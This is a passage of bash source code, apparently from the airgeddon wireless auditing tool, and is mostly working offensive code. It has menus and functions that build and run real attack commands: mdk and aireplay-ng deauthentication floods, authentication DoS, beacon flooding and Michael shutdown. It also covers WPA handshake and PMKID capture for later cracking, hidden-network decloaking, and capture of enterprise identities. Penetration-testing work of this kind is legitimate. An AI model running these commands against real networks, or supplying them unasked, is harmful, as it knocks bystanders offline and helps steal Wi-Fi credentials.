hccapx_converter_path="${hccapx_tool}" else for item in "${possible_hccapx_converter_known_locations[@]}"; do if [ -f "${item}" ]; then hccapx_converter_found=1 hccapx_converter_path="${item}" break fi done fi if [ "${hccapx_converter_found}" -eq 1 ]; then hashcat_tmp_file="${hashcat_tmp_simple_name_file}.hccapx" "${hccapx_converter_path}" "${enteredpath}" "${tmpdir}${hashcat_tmp_file}" > /dev/null 2>&1 return 0 else echo language_strings "${language}" 436 "red" language_strings "${language}" 115 "read" return 1 fi fi fi } #Handshake/PMKID/Decloaking tools menu function handshake_pmkid_decloaking_tools_menu() { debug_print clear language_strings "${language}" 120 "title" current_menu="handshake_pmkid_decloaking_tools_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 language_strings "${language}" 124 "separator" language_strings "${language}" 663 pmkid_dependencies[@] language_strings "${language}" 121 language_strings "${language}" 122 clean_handshake_dependencies[@] language_strings "${language}" 727 "separator" language_strings "${language}" 725 language_strings "${language}" 726 mdk_attack_dependencies[@] print_hint read -rp "> " handshake_option case ${handshake_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) explore_for_targets_option ;; 5) if contains_element "${handshake_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hcxdumptool_version if compare_floats_greater_or_equal "${hcxdumptool_version}" "${minimum_hcxdumptool_bpf_version}"; then if hash tcpdump 2> /dev/null; then echo language_strings "${language}" 716 "yellow" capture_pmkid_handshake "pmkid" else echo language_strings "${language}" 715 "red" language_strings "${language}" 115 "read" fi else capture_pmkid_handshake "pmkid" fi fi ;; 6) capture_pmkid_handshake "handshake" ;; 7) if contains_element "${handshake_option}" "${forbidden_options[@]}"; then forbidden_menu_option else clean_handshake_file_option fi ;; 8) decloak_prequisites "deauth" ;; 9) if contains_element "${handshake_option}" "${forbidden_options[@]}"; then forbidden_menu_option else decloak_prequisites "dictionary" fi ;; *) invalid_menu_option ;; esac handshake_pmkid_decloaking_tools_menu } #Execute the cleaning of a Handshake file function exec_clean_handshake_file() { debug_print echo if ! check_valid_file_to_clean "${filetoclean}"; then language_strings "${language}" 159 "yellow" else wpaclean "${filetoclean}" "${filetoclean}" > /dev/null 2>&1 language_strings "${language}" 153 "yellow" fi language_strings "${language}" 115 "read" } #Validate and ask for the parameters used to clean a Handshake file function clean_handshake_file_option() { debug_print echo readpath=0 if [ -z "${enteredpath}" ]; then language_strings "${language}" 150 "blue" readpath=1 else language_strings "${language}" 151 "blue" ask_yesno 152 "yes" if [ "${yesno}" = "y" ]; then filetoclean="${enteredpath}" else readpath=1 fi fi if [ "${readpath}" -eq 1 ]; then validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "cleanhandshake" done fi exec_clean_handshake_file } #DoS attacks menu function dos_attacks_menu() { debug_print clear language_strings "${language}" 102 "title" current_menu="dos_attacks_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 language_strings "${language}" 50 "separator" language_strings "${language}" 51 mdk_attack_dependencies[@] language_strings "${language}" 52 aireplay_attack_dependencies[@] language_strings "${language}" 63 mdk_attack_dependencies[@] language_strings "${language}" 54 "separator" language_strings "${language}" 62 mdk_attack_dependencies[@] language_strings "${language}" 53 mdk_attack_dependencies[@] language_strings "${language}" 64 mdk_attack_dependencies[@] print_hint read -rp "> " dos_option case ${dos_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) explore_for_targets_option ;; 5) if contains_element "${dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else mdk_deauth_option fi ;; 6) if contains_element "${dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else aireplay_deauth_option fi ;; 7) if contains_element "${dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else auth_dos_option fi ;; 8) if contains_element "${dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else beacon_flood_option fi ;; 9) if contains_element "${dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wds_confusion_option fi ;; 10) if contains_element "${dos_option}" "${forbidden_options[@]}"; then forbidden_menu_option else michael_shutdown_option fi ;; *) invalid_menu_option ;; esac dos_attacks_menu } #Capture Handshake on Evil Twin attack function capture_handshake_evil_twin() { debug_print if ! validate_network_encryption_type "WPA"; then return 1 fi ask_timeout "capture_handshake_decloak" capture_handshake_window case ${et_dos_attack} in "${mdk_command}") rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=12 ;; "Aireplay") iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=12 ;; "Auth DoS") iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface} a -a ${bssid} -m" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=16 ;; esac if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null else sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing Handshake" &> /dev/null fi handshake_capture_check check_bssid_in_captured_file "${tmpdir}${standardhandshake_filename}" "showing_msgs_capturing" "also_pmkid" case "$?" in "0") handshakepath="${default_save_path}" handshakefilename="handshake-${bssid}.cap" handshakepath="${handshakepath}${handshakefilename}" echo language_strings "${language}" 162 "yellow" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "writeethandshake" done cp "${tmpdir}${standardhandshake_filename}" "${et_handshake}" echo language_strings "${language}" 324 "blue" language_strings "${language}" 115 "read" return 0 ;; "1") echo language_strings "${language}" 146 "red" language_strings "${language}" 115 "read" return 2 ;; "2") return 2 ;; esac } #Decloak ESSID by deauthentication or by dictionary on Handshake/PMKID/Decloak tools function decloak_prequisites() { debug_print if [[ "${essid}" != "(Hidden Network)" ]] || [[ -z ${channel} ]]; then echo language_strings "${language}" 731 "red" language_strings "${language}" 115 "read" return 1 fi if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi if [ "${channel}" -gt 14 ]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" language_strings "${language}" 115 "read" return 1 fi fi echo language_strings "${language}" 730 "yellow" language_strings "${language}" 115 "read" if [ "${1}" = "deauth" ]; then dos_handshake_decloaking_menu "decloak" else manage_asking_for_dictionary_file echo language_strings "${language}" 737 "blue" language_strings "${language}" 115 "read" exec_decloak_by_dictionary fi } #Execute mdk decloak by dictionary function exec_decloak_by_dictionary() { debug_print iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 local unbuffer unbuffer="" if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then unbuffer="stdbuf -i0 -o0 -e0 " fi rm -rf "${tmpdir}decloak.log" > /dev/null 2>&1 iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${g1_topright_window} -T \"decloak by dictionary\"" "${unbuffer}${mdk_command} ${interface} p -t ${bssid} -f ${DICTIONARY} | tee ${tmpdir}decloak.log ${colorize}" "decloak by dictionary" "active" wait_for_process "${mdk_command} ${interface} p -t ${bssid} -f ${DICTIONARY}" "decloak by dictionary" if check_essid_in_mdk_decloak_log; then echo language_strings "${language}" 162 "yellow" echo language_strings "${language}" 736 "blue" language_strings "${language}" 115 "read" else echo language_strings "${language}" 738 "red" language_strings "${language}" 115 "read" fi } #Capture Handshake on Handshake/PMKID tools function capture_pmkid_handshake() { debug_print if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then echo language_strings "${language}" 125 "yellow" language_strings "${language}" 115 "read" if ! explore_for_targets_option "WPA"; then return 1 fi fi if ! check_monitor_enabled "${interface}"; then echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" return 1 fi if [ "${channel}" -gt 14 ]; then if [ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 0 ]; then echo language_strings "${language}" 515 "red" language_strings "${language}" 115 "read" return 1 fi fi if ! validate_network_encryption_type "WPA"; then return 1 fi if ! validate_network_type "personal"; then return 1 fi echo language_strings "${language}" 126 "yellow" language_strings "${language}" 115 "read" if [ "${1}" = "handshake" ]; then dos_handshake_decloaking_menu "${1}" else launch_pmkid_capture fi } #Check if file exists function check_file_exists() { debug_print if [[ ! -f $(readlink -f "${1}") ]] || [[ -z "${1}" ]]; then language_strings "${language}" 161 "red" return 1 fi return 0 } #Validate path function validate_path() { debug_print lastcharmanualpath=${1: -1} if [[ "${2}" = "enterprisepot" ]] || [[ "${2}" = "certificates" ]]; then dirname=$(dirname "${1}") if [ -d "${dirname}" ]; then if ! check_write_permissions "${dirname}"; then language_strings "${language}" 157 "red" return 1 fi else if ! dir_permission_check "${1}"; then language_strings "${language}" 526 "red" return 1 fi fi if [ "${lastcharmanualpath}" != "/" ]; then pathname="${1}/" fi else dirname=${1%/*} if [[ ! -d "${dirname}" ]] || [[ "${dirname}" = "." ]]; then language_strings "${language}" 156 "red" return 1 fi if ! check_write_permissions "${dirname}"; then language_strings "${language}" 157 "red" return 1 fi fi if [[ "${lastcharmanualpath}" = "/" ]] || [[ -d "${1}" ]] || [[ "${2}" = "enterprisepot" ]] || [[ "${2}" = "certificates" ]]; then if [ "${lastcharmanualpath}" != "/" ]; then pathname="${1}/" else pathname="${1}" fi case ${2} in "downgradepot") suggested_filename="${downgradepot_filename}" downgradepotenteredpath+="${downgradepot_filename}" ;; "wpa3pot") suggested_filename="${wpa3pot_filename}" wpa3potenteredpath+="${wpa3pot_filename}" ;; "handshake") enteredpath="${pathname}${standardhandshake_filename}" suggested_filename="${standardhandshake_filename}" ;; "pmkid") enteredpath="${pathname}${standardpmkid_filename}" suggested_filename="${standardpmkid_filename}" ;; "pmkidcap") enteredpath="${pathname}${standardpmkidcap_filename}" suggested_filename="${standardpmkidcap_filename}" ;; "aircrackpot") suggested_filename="${aircrackpot_filename}" aircrackpotenteredpath+="${aircrackpot_filename}" ;; "jtrpot") suggested_filename="${jtrpot_filename}" jtrpotenteredpath+="${jtrpot_filename}" ;; "hashcatpot") suggested_filename="${hashcatpot_filename}" potenteredpath+="${hashcatpot_filename}" ;; "asleappot") suggested_filename="${asleappot_filename}" asleapenteredpath+="${asleappot_filename}" ;; "ettercaplog") suggested_filename="${default_ettercaplogfilename}" ettercap_logpath="${ettercap_logpath}${default_ettercaplogfilename}" ;; "bettercaplog") suggested_filename="${default_bettercaplogfilename}" bettercap_logpath="${bettercap_logpath}${default_bettercaplogfilename}" ;; "writeethandshake") et_handshake="${pathname}${standardhandshake_filename}" suggested_filename="${standardhandshake_filename}" ;; "et_captive_portallog") suggested_filename="${default_et_captive_portallogfilename}" et_captive_portal_logpath+="${default_et_captive_portallogfilename}" ;; "wpspot") suggested_filename="${wpspot_filename}" wpspotenteredpath+="${wpspot_filename}" ;; "weppot") suggested_filename="${weppot_filename}" weppotenteredpath+="${weppot_filename}" ;; "enterprisepot") enterprise_potpath="${pathname}" enterprise_basepath=$(dirname "${enterprise_potpath}") if [ "${enterprise_basepath}" != "." ]; then enterprise_dirname=$(basename "${enterprise_potpath}") fi if [ "${enterprise_basepath}" != "/" ]; then enterprise_basepath+="/" fi if [ "${enterprise_dirname}" != "${enterprisepot_suggested_dirname}" ]; then enterprise_completepath="${enterprise_potpath}${enterprisepot_suggested_dirname}/" else enterprise_completepath="${enterprise_potpath}" if [ "${enterprise_potpath: -1}" != "/" ]; then enterprise_completepath+="/" fi fi echo language_strings "${language}" 158 "yellow" return 0 ;; "certificates") enterprisecertspath="${pathname}" enterprisecerts_basepath=$(dirname "${enterprisecertspath}") if [ "${enterprisecerts_basepath}" != "/" ]; then enterprisecerts_basepath+="/" fi enterprisecerts_completepath="${enterprisecertspath}" if [ "${enterprisecertspath: -1}" != "/" ]; then enterprisecerts_completepath+="/" fi echo language_strings "${language}" 158 "yellow" return 0 ;; esac echo language_strings "${language}" 155 "yellow" return 0 fi echo language_strings "${language}" 158 "yellow" return 0 } #It checks for write permissions of a directory recursively function dir_permission_check() { debug_print if [ -e "${1}" ]; then if [ -d "${1}" ] && check_write_permissions "${1}" && [ -x "${1}" ]; then return 0 else return 1 fi else dir_permission_check "$(dirname "${1}")" return $? fi } #Check for write permissions on a given path function check_write_permissions() { debug_print if [ -w "${1}" ]; then return 0 fi return 1 } #Clean some special chars from strings usually messing with autocompleted paths function fix_autocomplete_chars() { debug_print local var var=${1//\\/$''} echo "${var}" } #Create a var with the name passed to the function and reading the value from the user input function read_and_clean_path() { debug_print local var settings="$(shopt -p extglob)" shopt -s extglob echo -en '> ' var=$(read -re _var; echo -n "${_var}") var=$(fix_autocomplete_chars "${var}") local regexp='^[ '"'"']*(.*[^ '"'"'])[ '"'"']*$' [[ ${var} =~ ${regexp} ]] && var="${BASH_REMATCH[1]}" eval "${1}=\$var" eval "${settings}" } #Sanitize input used for paths #shellcheck disable=SC2001 function sanitize_path() { debug_print local sanitized sanitized=$(echo "${1}" | sed 's/[^A-Za-z0-9._:\\-]/_/g') if [ -z "${sanitized}" ]; then sanitized="airgeddon_fallback_filename" fi echo "${sanitized}" } #Read and validate a path function read_path() { debug_print echo case ${1} in "downgradepot") language_strings "${language}" 787 "green" read_and_clean_path "downgradepotenteredpath" if [ -z "${downgradepotenteredpath}" ]; then downgradepotenteredpath="${downgrade_potpath}" fi downgradepotenteredpath=$(set_absolute_path "${downgradepotenteredpath}") validate_path "${downgradepotenteredpath}" "${1}" ;; "wpa3pot") language_strings "${language}" 762 "blue" read_and_clean_path "wpa3potenteredpath" if [ -z "${wpa3potenteredpath}" ]; then wpa3potenteredpath="${wpa3_potpath}" fi wpa3potenteredpath=$(set_absolute_path "${wpa3potenteredpath}") validate_path "${wpa3potenteredpath}" "${1}" ;; "handshake") language_strings "${language}" 148 "green" read_and_clean_path "enteredpath" if [ -z "${enteredpath}" ]; then enteredpath="${handshakepath}" fi enteredpath=$(set_absolute_path "${enteredpath}") validate_path "${enteredpath}" "${1}" ;; "cleanhandshake") language_strings "${language}" 154 "green" read_and_clean_path "filetoclean" check_file_exists "${filetoclean}" ;; "pmkid") language_strings "${language}" 674 "green" read_and_clean_path "enteredpath" if [ -z "${enteredpath}" ]; then enteredpath="${pmkidpath}" fi enteredpath=$(set_absolute_path "${enteredpath}") validate_path "${enteredpath}" "${1}" ;; "pmkidcap") language_strings "${language}" 686 "green" read_and_clean_path "enteredpath" if [ -z "${enteredpath}" ]; then enteredpath="${pmkidcappath}" fi enteredpath=$(set_absolute_path "${enteredpath}") validate_path "${enteredpath}" "${1}" ;; "dictionary") language_strings "${language}" 180 "green" read_and_clean_path "DICTIONARY" check_file_exists "${DICTIONARY}" ;; "targetfilefordecrypt") language_strings "${language}" 188 "green" read_and_clean_path "enteredpath" check_file_exists "${enteredpath}" ;; "targethashcatenterprisefilefordecrypt") language_strings "${language}" 801 "green" read_and_clean_path "hashcatenterpriseenteredpath" check_file_exists "${hashcatenterpriseenteredpath}" ;; "targetjtrenterprisefilefordecrypt") language_strings "${language}" 801 "green" read_and_clean_path "jtrenterpriseenteredpath" check_file_exists "${jtrenterpriseenteredpath}" ;; "targethashcathashfilefordecrypt") language_strings "${language}" 801 "green" read_and_clean_path "hashcathashfileenteredpath" check_file_exists "${hashcathashfileenteredpath}" ;; "rules") language_strings "${language}" 242 "green" read_and_clean_path "RULES" check_file_exists "${RULES}" ;; "aircrackpot") language_strings "${language}" 441 "green" read_and_clean_path "aircrackpotenteredpath" if [ -z "${aircrackpotenteredpath}" ]; then aircrackpotenteredpath="${aircrack_potpath}" fi aircrackpotenteredpath=$(set_absolute_path "${aircrackpotenteredpath}") validate_path "${aircrackpotenteredpath}" "${1}" ;; "jtrpot") language_strings "${language}" 611 "green" read_and_clean_path "jtrpotenteredpath" if [ -z "${jtrpotenteredpath}" ]; then jtrpotenteredpath="${jtr_potpath}" fi jtrpotenteredpath=$(set_absolute_path "${jtrpotenteredpath}") validate_path "${jtrpotenteredpath}" "${1}" ;; "hashcatpot") language_strings "${language}" 233 "green" read_and_clean_path "potenteredpath" if [ -z "${potenteredpath}" ]; then potenteredpath="${hashcat_potpath}" fi potenteredpath=$(set_absolute_path "${potenteredpath}") validate_path "${potenteredpath}" "${1}" ;; "asleappot") language_strings "${language}" 555 "green" read_and_clean_path "asleapenteredpath" if [ -z "${asleapenteredpath}" ]; then asleapenteredpath="${asleap_potpath}" fi asleapenteredpath=$(set_absolute_path "${asleapenteredpath}") validate_path "${asleapenteredpath}" "${1}" ;; "ettercaplog") language_strings "${language}" 303 "green" read_and_clean_path "ettercap_logpath" if [ -z "${ettercap_logpath}" ]; then ettercap_logpath="${default_ettercap_logpath}" fi ettercap_logpath=$(set_absolute_path "${ettercap_logpath}") validate_path "${ettercap_logpath}" "${1}" ;; "bettercaplog") language_strings "${language}" 398 "green" read_and_clean_path "bettercap_logpath" if [ -z "${bettercap_logpath}" ]; then bettercap_logpath="${default_bettercap_logpath}" fi bettercap_logpath=$(set_absolute_path "${bettercap_logpath}") validate_path "${bettercap_logpath}" "${1}" ;; "ethandshake") language_strings "${language}" 154 "green" read_and_clean_path "et_handshake" check_file_exists "${et_handshake}" ;; "writeethandshake") language_strings "${language}" 148 "green" read_and_clean_path "et_handshake" if [ -z "${et_handshake}" ]; then et_handshake="${handshakepath}" fi et_handshake=$(set_absolute_path "${et_handshake}") validate_path "${et_handshake}" "${1}" ;; "et_captive_portallog") language_strings "${language}" 317 "blue" read_and_clean_path "et_captive_portal_logpath" if [ -z "${et_captive_portal_logpath}" ]; then et_captive_portal_logpath="${default_et_captive_portal_logpath}" fi et_captive_portal_logpath=$(set_absolute_path "${et_captive_portal_logpath}") validate_path "${et_captive_portal_logpath}" "${1}" ;; "wpspot") language_strings "${language}" 123 "blue" read_and_clean_path "wpspotenteredpath" if [ -z "${wpspotenteredpath}" ]; then wpspotenteredpath="${wps_potpath}" fi wpspotenteredpath=$(set_absolute_path "${wpspotenteredpath}") validate_path "${wpspotenteredpath}" "${1}" ;; "weppot") language_strings "${language}" 430 "blue" read_and_clean_path "weppotenteredpath" if [ -z "${weppotenteredpath}" ]; then weppotenteredpath="${wep_potpath}" fi weppotenteredpath=$(set_absolute_path "${weppotenteredpath}") validate_path "${weppotenteredpath}" "${1}" ;; "enterprisepot") language_strings "${language}" 525 "blue" read_and_clean_path "enterprisepotenteredpath" if [ -z "${enterprisepotenteredpath}" ]; then enterprisepotenteredpath="${enterprise_potpath}" fi enterprisepotenteredpath=$(set_absolute_path "${enterprisepotenteredpath}") validate_path "${enterprisepotenteredpath}" "${1}" ;; "certificates") language_strings "${language}" 643 "blue" read_and_clean_path "certificatesenteredpath" if [ -z "${certificatesenteredpath}" ]; then certificatesenteredpath="${enterprisecertspath}" fi certificatesenteredpath=$(set_absolute_path "${certificatesenteredpath}") validate_path "${certificatesenteredpath}" "${1}" ;; esac validpath="$?" return "${validpath}" } #Launch the DoS selection menu before capture enterprise information gathering function dos_info_gathering_enterprise_menu() { debug_print if [ "${return_to_enterprise_main_menu}" -eq 1 ]; then return fi clear language_strings "${language}" 749 "title" current_menu="dos_info_gathering_enterprise_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 521 print_simple_separator language_strings "${language}" 139 mdk_attack_dependencies[@] language_strings "${language}" 140 aireplay_attack_dependencies[@] language_strings "${language}" 141 mdk_attack_dependencies[@] print_hint read -rp "> " attack_info_gathering_enterprise_option case ${attack_info_gathering_enterprise_option} in 0) return ;; 1) if contains_element "${attack_info_gathering_enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else if [ "${1}" = "identities" ]; then ask_timeout "capture_identities" else ask_timeout "certificates_analysis" fi identities_certificates_capture_window "${1}" rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=12 if [ "${1}" = "identities" ]; then launch_identities_capture else launch_certificates_analysis fi fi ;; 2) if contains_element "${attack_info_gathering_enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else if [ "${1}" = "identities" ]; then ask_timeout "capture_identities" else ask_timeout "certificates_analysis" fi identities_certificates_capture_window "${1}" iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=12 if [ "${1}" = "identities" ]; then launch_identities_capture else launch_certificates_analysis fi fi ;; 3) if contains_element "${attack_info_gathering_enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else if [ "${1}" = "identities" ]; then ask_timeout "capture_identities" else ask_timeout "certificates_analysis" fi identities_certificates_capture_window "${1}" iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface} a -a ${bssid} -m" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=12 if [ "${1}" = "identities" ]; then launch_identities_capture else launch_certificates_analysis fi fi ;; *) invalid_menu_option ;; esac dos_info_gathering_enterprise_menu "${1}" } #Launch the DoS selection menu before capture a Handshake or decloak a network and process the captured file function dos_handshake_decloaking_menu() { debug_print if [ "${return_to_handshake_pmkid_decloaking_tools_menu}" -eq 1 ]; then return fi clear if [ "${1}" = "decloak" ]; then language_strings "${language}" 732 "title" else language_strings "${language}" 138 "title" fi current_menu="dos_handshake_decloak_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 147 print_simple_separator language_strings "${language}" 139 mdk_attack_dependencies[@] language_strings "${language}" 140 aireplay_attack_dependencies[@] language_strings "${language}" 141 mdk_attack_dependencies[@] print_hint read -rp "> " attack_handshake_decloak_option case ${attack_handshake_decloak_option} in 0) return ;; 1) if contains_element "${attack_handshake_decloak_option}" "${forbidden_options[@]}"; then forbidden_menu_option else ask_timeout "capture_handshake_decloak" if [ "${1}" = "decloak" ]; then decloak_window else capture_handshake_window fi rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 echo "${bssid}" > "${tmpdir}bl.txt" iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"${mdk_command} amok attack\"" "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" "${mdk_command} amok attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface} d -b ${tmpdir}bl.txt -c ${channel}" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=12 if [ "${1}" = "decloak" ]; then launch_decloak_capture else launch_handshake_capture fi fi ;; 2) if contains_element "${attack_handshake_decloak_option}" "${forbidden_options[@]}"; then forbidden_menu_option else ask_timeout "capture_handshake_decloak" if [ "${1}" = "decloak" ]; then decloak_window else capture_handshake_window fi iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"aireplay deauth attack\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" "aireplay deauth attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface}" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=12 if [ "${1}" = "decloak" ]; then launch_decloak_capture else launch_handshake_capture fi fi ;; 3) if contains_element "${attack_handshake_decloak_option}" "${forbidden_options[@]}"; then forbidden_menu_option else ask_timeout "capture_handshake_decloak" if [ "${1}" = "decloak" ]; then decloak_window else capture_handshake_window fi iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 recalculate_windows_sizes manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"auth dos attack\"" "${mdk_command} ${interface} a -a ${bssid} -m" "auth dos attack" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "${mdk_command} ${interface} a -a ${bssid} -m" processidattack="${global_process_pid}" global_process_pid="" fi sleeptimeattack=16 if [ "${1}" = "decloak" ]; then launch_decloak_capture else launch_handshake_capture fi fi ;; *) invalid_menu_option ;; esac dos_handshake_decloaking_menu "${1}" } #Enterprise certificates analysis launcher function launch_certificates_analysis() { debug_print if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null else sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Certificates Analysis" &> /dev/null fi enterprise_certificates_check echo language_strings "${language}" 751 "blue" if check_certificates_in_capture_file; then echo language_strings "${language}" 162 "yellow" echo language_strings "${language}" 753 "blue" echo declare -A unique_fingerprints for certificate in "${certificates_array[@]}"; do fingerprint=$(printf '%s\n' "${certificate}" | openssl x509 -noout -fingerprint | cut -d'=' -f2) if [[ -z "${unique_fingerprints[$fingerprint]}" ]]; then unique_fingerprints[$fingerprint]=1 printf '%s\n' "${certificate}" | openssl x509 -noout -serial -issuer -subject -startdate -enddate -fingerprint echo fi done language_strings "${language}" 115 "read" return_to_enterprise_main_menu=1 else echo language_strings "${language}" 752 "red" language_strings "${language}" 115 "read" fi } #Enterprise identities capture launcher function launch_identities_capture() { debug_print if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null else sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing Identities" &> /dev/null fi enterprise_identities_check echo language_strings "${language}" 744 "blue" if check_identities_in_capture_file; then echo language_strings "${language}" 162 "yellow" echo language_strings "${language}" 746 "blue" echo for identity in "${identities_array[@]}"; do echo "${identity}" done echo language_strings "${language}" 115 "read" return_to_enterprise_main_menu=1 else echo language_strings "${language}" 745 "red" language_strings "${language}" 115 "read" fi } #Decloak capture launcher function launch_decloak_capture() { debug_print if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null else sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Decloaking" &> /dev/null fi decloak_check if check_essid_in_capture_file; then echo language_strings "${language}" 162 "yellow" echo language_strings "${language}" 736 "blue" language_strings "${language}" 115 "read" return_to_handshake_pmkid_decloaking_tools_menu=1 else echo language_strings "${language}" 146 "red" language_strings "${language}" 115 "read" fi } #Handshake capture launcher function launch_handshake_capture() { debug_print if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then processidattack=$! sleep "${sleeptimeattack}" && kill "${processidattack}" &> /dev/null else sleep "${sleeptimeattack}" && kill "${processidattack}" && kill_tmux_windows "Capturing 